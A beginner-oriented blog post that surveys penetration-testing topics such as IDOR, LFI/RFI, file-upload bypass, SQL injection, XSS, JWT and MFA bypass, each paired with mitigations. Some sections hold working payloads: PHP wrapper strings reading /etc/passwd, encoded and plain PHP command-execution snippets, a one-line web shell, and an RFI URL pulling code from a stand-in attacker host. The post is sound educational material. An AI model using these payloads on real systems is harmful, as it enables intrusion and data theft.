Penetration Testing guide for Muggles (cause once you know, it’s magic..)

luc1f3r
16 min readMar 21, 2022

--

Hi, I am Prashant. This is my first blog on medium. I hope you guys will enjoy, if you find something missing, you know where to go ‘twitter’.

This article is brief introduction to all the important topics that could come handy, during interview or just in case of curiosity. If you are familiar with cyber-security, you may find something new, or just a walk towards the nostalgic past.

Important Links:

>> Attacks (Web Hacking)

Passive Enumeration : The process of collecting information about specific target from publicly available resources that can be accessed by anyone.

  • IP Address
  • Subdomain / Domains
  • External Partners / Servers
  • Types of Technologies used and so on..

Tools that can be considered for DNS Enumeration:
— whois, nslookup, dig, host (Manual Tools)
— Diere, DNSenum, DNSrecon (Automated Tools)

* Authentication Bypass
Links: https://bhichher.medium.com/authentication-bypass-basics-for-bug-bounty-28d65a38a7b8

Exploit: It exploits weak authentication mechanism, to get access to the system or user’s private information.

* IDOR (Insecure Direct Object Reference)
Links: https://vickieli.medium.com/intro-to-idor-9048453a3e5d

Exploit: IDORs happen when access control is not properly implemented, and when the references to data objects (like a file or a database entry) are predictable.

Example: Let’s say socialmedia.com is a social media site that allows you to chat with others. And when you signed up, you noticed that your user ID on the website is 1234. This website has a page that allows you to view all your messages with your friends located at the URL: https://socialmedia.com/messages. When you click on the “View Your Messages” button located on the homepage, you get redirected to:
https://socialmedia.com/messages?user_id=1234
Where you can see all your chat messages with your friends on the website. Now, what if you change the URL in the URL bar to the following?
https://socialmedia.com/messages?user_id=1233
You notice that you can now see all the private messages between another user (Whose user ID is 1233) and all his friends. Woah. What just happened? At this point, you have found an IDOR vulnerability.

Mitigation:

  • If the website were to use a unique, unpredictable key for each user, like https://socialmedia.com/messages?user_key=6MT9EalV9F7r9pns0mK1eDAEW. Then, the website would not have been vulnerable. Because there is no way for an attacker to guess the value of user_key. But instead, the social media site implemented an insecure, direct, object reference.

* LFI (Local File Inclusion)

Exploit: It allows an attacker to include files on a server through the web browser. This vulnerability exists when a web application includes a file without correctly sanitizing the input, allowing an attacker to manipulate the input and inject path traversal characters and include other files from the web-server.

Type of PHP Wrapper:

  • expect://ls : allow execution of system commands, this command is not enable by default
  • php://input : send payload through post method on PHP
  • php://filter : allow the attacker to include local file and base64 encode as the output.
    1. ?page=php://filter/convert.base64-encode/resource=index.php (with base64)
    2. ?page=php://filter/resource=/etc/passwd (without base64)
  • PHP wrapper can be chained multiple time. php://filter/convert.base64-encode|convert.base64-decode/resource=index.php
  • data:// : can inject the PHP code you want executing directly into the URL
    1. data:text/plain,<?php phpinfo(); ?>
    2. data:,<?system($_GET[‘x’]);?>&x=ls
    3. data:;base64,PD9zeXN0ZW0oJF9HRVRbJ3gnXSk7Pz4=&x=ls
  • only in versions of PHP below 5.3.4 we can terminate with a null byte. ?page=../../../etc/passwd%00

Mitigation:

  • ID assignation — save your file paths in a secure database and give an ID for every single one, this way users only get to see their ID without viewing or altering the path.
  • Whitelisting — use verified and secured whitelist files and ignore everything else.
  • Use databases — don’t include files on a web server that can be compromised, use a database instead.
  • Better server instructions — make the server send download headers automatically instead of executing files in a specified directory.

* RFI (Remote File Inclusion)

Exploit: A remote file inclusion (RFI) occurs when a file from a remote web server is inserted into a web page. This is possible for web applications that dynamically include external files or scripts. Potential consequences of a successful RFI attack range from sensitive information disclosure and Cross-site Scripting (XSS) to Remote Code Execution.

Example: Using the above PHP script, an attacker could make the following HTTP request to trick the application into executing server-side malicious code, for example, a web-shell.
http://example.com/?file=http://attacker.example.com/evil.php

Mitigation: (For PHP Application)

  • allow_url_include (set to off): allows the inclusion of a remote file using a URL rather than a local file path.
  • allow_url_fopen (set to off): allows data retrieval from a remote server or website.
  • Software Update
  • Strongly validate user inputs by whitelisting acceptable inputs and rejecting all others that do not strictly conform to specifications.
  • Note: The inclusion restriction does not apply to SMB UNC paths. PHP applications can still be vulnerable to an RFI vulnerability even when the above functions are set to Off. We can still attack an application by hosting a PHP file on an SMB share and calling it remotely through loading its SMB URL and bypass the restriction.

* XXE (XML External Vulnerability)
Links: https://medium.com/@onehackman/exploiting-xml-external-entity-xxe-injections-b0e3eac388f9

Exploits: XXE vulnerability is an attack against a vulnerable application that parses XML language with no security checks or validation. The attack uses XML external entities to retrieve contents from internal or external resources.

Mitigation:

  • Sanitize XML data before trusting it.
  • Disable external entity and DTD processing altogether if possible.
  • Update XML libraries regularly.
  • Limit egress connections from the applications (only trusty connections)
  • Implement a WAF(Web Application Firewall) in front of the web application.
  • Note: The purpose of a DTD(Document Type Definition) is to define the legal building blocks of an XML document. It defines the document structure with a list of legal elements. A DTD can be declared inline in your XML document, or as an external reference.

* XML Injection (Extended Markup Language)
Links: https://asfiyashaikh.medium.com/xml-injection-5e6336b95274

Exploit: XML or SOAP injection vulnerabilities arise when user input is inserted into a server-side XML document or SOAP message in an unsafe way. It may be possible to use XML meta-characters to modify the structure of the resulting XML. Depending on the function in which the XML is used, it may be possible to interfere with the application’s logic, to perform unauthorized actions or access sensitive data.

Mitigation:

  • The application must validate or sanitize the user input(security rule zero) before taking it into an XML document or SOAP web service.
  • Block any input containing XML meta-characters such as < and >. Also, these characters can be replaced with entities such as &lt; and &gt;

* Unrestricted File Upload
Links: https://bugdisclose.medium.com/art-of-unrestricted-file-upload-exploitation-92ed28796d0

Exploit: The File upload vulnerability allows the attacker to upload or transfer files of dangerous types that can be automatically processed within the product’s environment.

Bypass Filters:

  • Blacklisting Bypass: Blacklisting can be bypassed by uploading unpopular PHP extensions. Such as: pht, phpt, phtml, php3,php4,php5,php6
  • Whitelisting Bypass: Whitelisting can be bypassed by uploading a file with some type of tricks, By adding a null byte character like ( shell.php%00.gif ). Or by using double extensions for the upload file like ( shell.jpg.php ).
  • Content-type Validation: This type of validation can be bypassed by changing the file name for example to “shell.php” or “shell.aspx” but keeping the “Content-Type” parameter as “image/ *” Content-Type. Such as “image/png”, “image/jpeg”, and “image/gif”.
  • Content length Validation: It can be bypass using a small length of payload like PHP shell: (<?=`$_GET[x]`?>)
  • Image Header Bypass: Add magic number to our PHP file. We can add a header on file PHP by using add fake header png.

Mitigation:

  • Use a server-generated filename if storing uploaded files on disk.
  • Inspect the content of uploaded files, and enforce a whitelist of accepted, non-executable content types. Additionally, enforce a blacklist of common executable formats, to hinder hybrid file attacks.
  • Enforce a whitelist of accepted, non-executable file extensions.
  • If uploaded files are downloaded by users, supply an accurate non-generic Content-Type header, the X-Content-Type-Options: nosniff header, and also a Content-Disposition header that specifies that browsers should handle the file as an attachment.
  • Enforce a size limit on uploaded files (for defense-in-depth, this can be implemented both within application code and in the web server’s configuration).
  • Reject attempts to upload archive formats such as ZIP.

JWT Exploit (JSON Web Token)
Links:

Exploit: According to official website, JSON Web Token (JWT) is an open standard (RFC 7519) that defines a compact and self-contained way for securely transmitting information between parties as a JSON object. This information can be verified and trusted because it is digitally signed. JWTs can be signed using a secret (with the HMAC algorithm) or a public/private key pair using RSA or ECDSA.
Manipulating the data inside the token to gain unauthorized information leads to JWT Exploit.

Bypass JWT Control:

  • None algorithm
  • Method DOS: “Changing the algorithm from ‘RS256’ TO ‘HS256’”.
  • Method TRES: “When the Signature is not checked”.
  • Bruteforce the secret key
  • Leak the secret key
  • KID (Key ID) manipulation

Mitigation:

  • Perform algorithm verification so no one can change “alg” filed to “none”.
  • Pick a strong chronological signature so bypass cannot be possible.
  • Validate all possible payloads value.

SSRF (Server Side Request Forgery)
Links:

Exploit: An attack where in an attacker is able to send a crafted request from a vulnerable web application to gain unauthorized information or to do further exploitation, linke XSS, SQLi or RCE.

Types:

  • Basic: It displays response to attacker, so after the server fetches the URL asked by attacker for him, it will send the response back to attacker.
  • Blind: The one which does not display response to the attacker.

Attack Surface:
— SSRF to Reflected XSS.
— Try URL schemas to read internal and make server perform actions (file:///, dict://, ftp://, gopher://..)
— We can scan for internal networks and ports.

Mitigation:

  • Disable the unused URL schema such as ftp://. ftp://, or file:// . It will reduce the attack surface.
  • Maintain the whitelist of the trusted url or the blacklist of the untrusted URL.
  • Whitelisting of DNS and IP addresses that are required.

* CSRF (Cross-Site Request Forgery) / Session Riding / XSRF / Sea-Surf
Links: https://medium.com/@chiragrai3666/csrf-today-techniques-mitigations-and-bypasses-b1cf6a6cd81c

Exploit: An attack where an attacker forces a user to perform unwanted actions on a web application in which they’re currently authenticated, without users knowledge (Eg; Money Transfer, Password Change, Comments on a post,etc).

Mitigation:

  • Anti-CSRF Tokens
  • Double Submit Cookie
  • Validating the Referrer and Origin of the request
  • Sending data in JSON/XML format
  • SameSite Cookie attribute
  • Captcha
  • Viewstate

SSTI (Server Side Template Injection)
Links:

Exploit: SSTI is where a attacker can inject malicious native template syntax command to be executed at server-side. It can occur when user input is directly concatenate into template rather than passed as data and this is the one reason why SSTI can arise which can allow attackers to execute arbitrary commands and sometimes allow to gain full control of server.
Unsafely embedding user input in templates enables Server-Side Template Injection.

Mitigation:

  • Validate all the user controlled areas, Like urls, User Inputs and so on.
  • Don’t render user inputs directly to the template.

* XSS (Cross Site Scripting)
Links: https://medium.com/@charithra/introduction-to-xss-e9eb90b4323d

Exploit: Cross-site scripting occurs when attackers or malicious users can manipulate a web site or web application to return malicious JavaScript to users. When this malicious JavaScript is executed in the user’s browser, all of the user’s interactions with the site (including but not limited to authentication and payment) can be compromised by the attacker.

Types:

  • Stored: Stored XSS attacks involve an attacker injecting a script that is permanently stored (persisted) on the target application (eg:- database). A classic example is a malicious script inserted by an attacker in a comment field on a blog or in a forum post.When a user opens the affected web page in a browser, the XSS content will be served as part of the web page (just like a normal comment would). This means that the user will unknowingly execute that malicious code and becomes a victim.
  • Reflected: When a malicious script is reflected off of a web application to the victim’s browser. The script is activated through a link, which sends a request to a website with a vulnerability that enables execution of malicious scripts. To distribute the malicious link, an attacker typically embeds it into an email or third party website.
  • DOM (Document Object Map): It arise when JavaScript takes data from an attacker-controllable source, such as the URL, and passes it to a sink that supports dynamic code execution, such as eval() or innerHTML. This enables attackers to execute malicious JavaScript, which typically allows them to hijack other users’ accounts.
    > Payload: document.write(‘… <script>alert(document.domain)</script> …’);

Mitigation:

  • Validating the input that arrives at the application.
  • Encoding the HTML before sending to the browser.

** What makes DOM-based XSS different
— In stored and reflected XSS attacks, the server inserts the malicious script into the page, which is then sent in a response to the victim. When the victim’s browser receives the response, it assumes the malicious script to be part of the page’s original content and automatically executes it during page load as with any other script. In the example of a DOM-based XSS attack, however, there is no malicious script inserted as part of the page; the only script that is automatically executed during page load is a original part of the page.

OS Command Injection
Links:

Exploit: OS command injection (also known as shell injection) is a web security vulnerability that allows an attacker to execute arbitrary operating system (OS) commands on the server that is running an application, and typically fully compromise the application and all its data.

Mitigation:

  • Validating against a whitelist of permitted values.
  • Validating that the input is a number.
  • Validating that the input contains only alphanumeric characters, no other syntax or white space.

* Directory Traversal
Links: https://portswigger.net/web-security/file-path-traversal

Exploit: A web related vulnerability that allows an attacker to read arbitrary files on the server running an application.

Mitigation:

  • Input containing dot-dot-slash sequences should be blocked.
  • User supplied dynamic input should be strictly validated before being passed to any filesystem operation.
  • The developer should avoid storing sensitive data in the web root of the application.
  • Web-Servers update periodically with security patches in place.

* SQL Injection
Links: https://medium.com/purplebox/sql-injection-da949c39dbe6

Exploit: A code injection technique that can be getting important information from your database through vulnerable application.

Type:

  • In-band (Classic): It occurs when an attacker can use the same communication channel to launch the attack and gather results.
    — Error Based: Error-based injections give insight into the database. These errors can be helpful to developers and network administrators but must be restricted on the application side.
    Eg: https://www.example.com/category.php?id=2'
    — Union Based: It combines the results of two or more SELECT statements into a single result using the UNION operator to get more information from the database.
    Eg: https://example.com/category.php?id=3 ‘UNION+SELECT+NULL,NULL,NULL —
  • Out-of-band: It occurs when an attacker is unable to use the same channel to launch the attack and gather results. The database server can send data to an attacker with the ability to make DNS or HTTP requests.
    Mitigation:
    — Input validation for client and server-side.
    — Proper error handling to avoid displaying detailed error information.
    — Review network and security architecture design.
    — Assigning the database account based on the least privilege principle.
  • Inferential (Blind): In the Inferential SQLi attack, the attacker cannot see the results because the web application database is not transmitting the data. For this reason, the attacker sends queries and tries to build the structure of the database by observing the web application’s response and the behavior of the database.
    — Boolean Based: It forces different responses to get from the application, depending on whether the query returns correct or incorrect results by sending queries to the database.
    Eg: http://example.com/categoryx.php?id=1 OR 17–7=10
    — Time Based: It forces the database to wait for a while before responding after the query is submitted.
    Eg: SELECT * FROM products WHERE id=1; IF SYSTEM_USER=’sa’ WAIT FOR DELAY ‘00:00:15’

Mitigation:

  • Using Prepared Statements.
  • Using Stored Procedures.
  • Using Whitelist for Inputs.
  • Using Least Privilege.
  • Performing Whitelist Input Validation

Steganography: An art and science of hiding messages into another message in such a way that no one, apart from the sender and intended recipient, suspects the existence of the message..
Links:

* Cryptography: The practice and study of techniques for securing communication and data in the presence of adversaries.
Links:
https://medium.com/edureka/what-is-cryptography-c94dae2d5974

Insecure Deserialization
Link:

Exploit:
— Serialization is process that convert object into specific structure data format such as convert Java Entity class to JSON format for sending via communication with other services or clients.
— Deserialization is process that convert data format into object such as client sends requests as JSON data format and back end service convert it to Java Entity Class.

Mitigation:

  • Integrate checksums or digital signatures to ensure trusted sources.
  • Allow deserialize data for existing class in applications by custom ObjectInputStream with specific class.
  • Logging deserialization, always check about exception from deserialize failures.
  • Run Deserialization code in low privilege environment.
  • The method of serialization should be encrypted not encoded.
  • If available, use safe deserialization methods. For example, using yaml.safe_load() instead of yaml.load() in python.

* Bypass MFA / 2FA
Links:
https://mazoka777.medium.com/two-factor-authentication-bypass-4c814627f8c3

Types:

  • 2FA BYPASS BY RESET PASSWORD LINK
  • Leaked Token
  • Bypassing 2fa via rate-limit
  • Bypass 2FA With Refer Header (HTTP-HEADER)
  • Bypass 2FA by server status code (Response Manipulation)
  • Chaining CSRF to disable 2FA
  • 2FA bypass by Sending a Blank Code
  • Password-Reset >> disable 2fa (Logical Flaw)
  • Sharing unused tokens (Weak 2FA Implementation)
  • Enabling 2FA Doesn’t Expire Previous Session (Weak 2FA Implementation)

* Bypass Captcha
Links:
https://medium.com/@harshalcoep/captcha-bypass-on-critical-websites-dea8da74e9a

Types:

  • Insecure Text Captcha
  • Chosen-Captcha Attack
  • Weaker Captcha Modalities
  • Incorrect Server-side Validation
  • Insufficient Solution Space

(OS Exploit)

* Active Directory
Links:
https://robertscocca.medium.com/ad-lab-external-pentesting-e2938e1b7da8

Exploit: Active Directory (AD) is Microsoft’s proprietary directory service. It runs on Windows Server and allows administrators to manage permissions and access to network resources. Active Directory stores data as objects. An object is a single element, such as a user, group, application or device, such as a printer.

Tools:

* Reverse Enginering: https://github.com/wtsxDev/reverse-engineering
* Privelege Escalation: https://hackersploit.org/windows-red-team-exploitation-techniques/

>> Networking — Complete the OSI model along with tools used for Networking. Prepare for certs like CCNA or CompTIA Network+
Links: https://www.youtube.com/c/professormesser/featured

>> Tools

* Burp Suite
* Metasploit
* Nmap
* Nessus
* Hydra
* Wireshrak
* Ghidra
* Volatility
* Autopsy
* OpenVAS

>> Research && OSINT — Find the open source tools and possible passive ways for enumeration.

>> Languages

* Bash Scripting
* Powershell
* Python
* Docker

>> Wireless Attacks
Links:
https://prateek1999p.medium.com/cracking-wep-wpa-wpa2-wi-fi-passwords-9adfa2b3c6c2

  • WEP
  • WPA/WPA2
  • WPS
  • WPA3

>> Bluetooth Attacks
Links:

Exploit: Bluetooth is a short-range wireless communications protocol used for data exchange between fixed and mobile devices in the ISM bands from 2.402 GHz to 2.48 GHz. As a rule, transmission powers are rather limited (2.5 mW) so the effective signal distance is small (up to 10 m). Since the Bluetooth 4.0 specification, different Bluetooth modes have emerged. Among these modalities, two stand out: Bluetooth Classic (inherits the existing Bluetooth protocol) and Bluetooth Low Energy (intended to be a low energy communication protocol). These two modalities are the most widespread today and a large part of the devices on the market today support both specifications.

  • BIAS: Bluetooth Impersonation Attacks.
  • BLESA: Bluetooth Low Energy Spoofing Attacks
  • KNOB: Key Negotiation Of Bluetooth BR/EDR
  • BLURtooth: Exploiting Cross-Transport Key Derivation in Bluetooth Classic and Bluetooth Low Energy
  • BrakTooth: Causing Havoc on Bluetooth Link Manager
  • Some DoS vulnerabilities

Mitigation:

  • Adjust your Bluetooth settings. To avoid this attack altogether, turn off Bluetooth in your device settings.
  • Beware of what you share. Make it a habit to not share sensitive, personal information over Bluetooth.
  • Turn on automatic updates. A handful of companies, including Microsoft, Apple, and Google, have released patches to mitigate this vulnerability. To ensure that you have the latest security patches for vulnerabilities such as this, turn on automatic updates in your device settings.

Some of the topics off my head, just in case if you would like me to add more, please let me know..

  • IDS(Intrusion Detection System) / IPS(Intrusion Prevention System): Intrusion detection is the process of monitoring the events occurring in your network and analyzing them for signs of possible incidents, violations, or imminent threats to your security policies. Intrusion prevention is the process of performing intrusion detection and then stopping the detected incidents. These security measures are available as intrusion detection systems (IDS) and intrusion prevention systems (IPS), which become part of your network to detect and stop potential incidents.
  • Open Redirection: It arise when an application incorporates user-controllable data into the target of a redirection in an unsafe way. An attacker can construct a URL within the application that causes a redirection to an arbitrary external domain. This behavior can be leveraged to facilitate phishing attacks against users of the application.
  • HTTP RequestSmuggling: HTTP request smuggling is a technique for interfering with the way a web site processes sequences of HTTP requests that are received from one or more users.
  • HTTP ResponseSmuggling: HTTP Response Smuggling is a technique that attackers use to “smuggle” HTTP responses from a server to a client through an intermediary HTTP device that expects (or allows) a single response from the server. … Both of these are possible when the browser uses a proxy server to access both sites.
  • Honeypots: A honeypot is a computer configured to be vulnerable in an attempt to log and study unauthorized interactions.
  • HTTP Stateless Protocol: HTTP is a “stateless” protocol which means each time a client retrieves a Webpage, the client opens a separate connection to the Web server and the server automatically does not keep any record of previous client request.
  • ViewState: View state is the method that the ASP.NET page framework uses to preserve page and control values between round trips. When the HTML markup for the page is rendered, the current state of the page and values that must be retained during postback are serialized into base64-encoded strings.
  • Cookie Attribute: The cookie-attribute command specifies the attributes to include in the DataPower generated cookie when it is returned in a Set-Cookie header. By default, the Secure and the HttpOnly attributes are included, which indicates that the cookie can be sent only when the connection is secure and the connection is over HTTPS.
  • Anti-XSRF token: Anti-CSRF tokens (or simply CSRF tokens) are unique values used in web applications to prevent Cross-Site Request Forgery attacks (CSRF/XSRF).
  • HttpOnly Flag: The HttpOnly flag is an additional flag included in a Set-Cookie HTTP response header. It is used to prevent a Cross-Site Scripting exploit from gaining access to the session cookie and hijacking the victim’s session.
  • OverPass the Hash: Over Pass the hash is a combination of passing the hash and passing the ticket, so it’s called Over Pass the hash. Allows the creation of Kerberos tickets from NTLM hash or AES keys that allow access to the resource service that required Kerberos authentication.
  • Pass the Hash: Pass the hash is an attack that allows an intruder to authenticate as a user without having access to the user’s password. This is a technique where an attacker uses the NTLM hashes for authentication and bypass the standard authentication.

--

--

luc1f3r
luc1f3r

Written by luc1f3r

Cyber Security Enthusiast, Freelancer, Researcher, Bug Bounty Hunter, and InfoSec Writer. | eJPT certified.

No responses yet